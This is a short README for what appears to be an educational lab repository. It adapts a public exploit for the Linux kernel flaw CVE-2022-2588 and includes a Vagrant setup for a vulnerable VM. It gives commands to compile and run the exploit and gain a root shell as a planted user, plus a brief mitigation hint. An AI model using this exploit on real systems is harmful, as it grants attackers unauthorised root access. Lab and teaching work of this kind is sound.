# CVE-2022-2588
Code adapted for one cpu, and with a vagrant file provided to boot up a vulnerable machine used for educational purposes.
To create a vulnerable machine, you need to have [Vagrant](https://www.vagrantup.com/) installed on your machine, then execute on the repository root:
```sh
Vagrant up
```
Wait for installation and booting then :
```sh
Vagrant ssh
```
Inside the Vm:
```sh
cd CVE-2022-2588/ && gcc ./exploit.c -o exploit -lpthread
./exploit
```
then:
```sh
su ensimag
password: #ensimag
#
```
The original exploit code : [here](https://github.com/Markakd/CVE-2022-2588)
To prevent the exploit try to uncomment the line 15 and 18 and restart the process.
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view